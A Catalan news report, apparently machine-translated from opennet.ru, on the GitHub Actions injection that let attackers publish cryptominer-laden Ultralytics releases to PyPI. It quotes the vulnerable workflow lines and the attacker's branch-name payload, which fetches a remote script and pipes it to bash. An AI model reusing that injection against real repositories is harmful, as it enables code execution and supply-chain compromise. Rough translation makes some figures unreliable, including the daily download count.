Els atacants van poder executar codi amb els drets de controlador d'Accions de GitHub al dipòsit de la biblioteca Ultralytics Python, que s'utilitza per resoldre problemes de visió per ordinador, com ara detectar objectes en imatges i segmentar imatges. Després d'accedir al dipòsit, els atacants van publicar diversos llançaments nous d'Ultralytics al directori PyPI, que incloïen canvis maliciosos per a la mineria de criptomoneda. Durant l'últim mes, la biblioteca Ultralytics s'ha baixat del catàleg de PyPI més de 6.4 milions de vegades.
Per comprometre el dipòsit, es va utilitzar una vulnerabilitat al paquet ultralytics-actions, que s'utilitza per llançar automàticament controladors quan es realitzen determinades accions en un dipòsit a GitHub mitjançant el mecanisme d'accions de GitHub. Al projecte ultralítics, el controlador vulnerable estava vinculat a l'esdeveniment pull_request_target i es va cridar quan arribaven noves sol·licituds d'extracció. En particular, per formatar el codi a les sol·licituds d'extracció enviades, es va cridar el controlador format.yml i es va executar el codi especificat a la secció "executar" del fitxer action.yml, que contenia ordres de shell amb patrons de substitució: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Així, el nom de la branca de Git esmentada a la sol·licitud d'extracció es va substituir per les ordres de l'intèrpret d'ordres sense escapar adequadament. Cal destacar que a l'agost, el paquet ultralytics-actions ja va solucionar una vulnerabilitat similar associada a l'ús d'un valor extern a la funció echo: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
Per organitzar l'execució del seu codi en el context del gestor d'accions de GitHub, els atacants van enviar una sol·licitud d'extracció al repositori d'ultralítics, especificant el següent com a nom de la branca: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
En conseqüència, quan es va rebre una sol·licitud d'extracció, es va inserir la cadena especificada per l'atacant "$(...)" al codi, que, quan es va llançar posteriorment el controlador, va provocar l'execució del codi "curl -sSfL raw.githubusercontent. com/…/fitxer.sh | bash".

L'execució de codi en el context de GitHub Actions es pot utilitzar per capturar el testimoni d'accés al dipòsit i altres dades sensibles. Com van aconseguir exactament els atacants per generar una versió, tenint la capacitat d'executar el seu codi a GitHub Actions, encara no està clar, se suposa que això va ser possible a causa d'un canvi en el controlador publish.yml (els atacants van eliminar la verificació del fitxer; compte que té permís per publicar versions a PyPI) i l'ús de tecnologia enverinant la memòria cau de creació de GitHub Actions per inserir les vostres dades a la versió.
La primera versió maliciosa d'Ultralytics 8.3.41 va ser publicada pels atacants a PyPI el 4 de desembre a les 23:51 (MSK) i eliminada a les 12:15 del dia següent. A les 15:47, es va publicar i eliminar una altra versió, la 8.3.42, a les 16:47. Per tant, les versions malicioses van estar disponibles per a la seva descàrrega durant un total d'aproximadament 13 hores (PyPI registra aproximadament 250 descàrregues de la biblioteca d'ultralytics per dia). Les versions 8.3.41 i 8.3.42 contenien codi que es descarregava des d'un fitxer extern... servidor Component XMRig per a la mineria de criptomonedes.
Els desenvolupadors del projecte van solucionar el problema i van crear versions correctives 8.3.43 i 8.3.44, però dos dies després es va dur a terme un altre atac, durant el qual els atacants van publicar dues versions malicioses addicionals avui a les 04:41 i a les 05:27 (MSK). 8.3.45 i 8.3.46, que inclouen altres codis miners. Fins al final de la investigació, es recomana als usuaris que no instal·lin noves versions i que solucionin la versió 8.3.44 com a dependències.
Font: opennet.ru
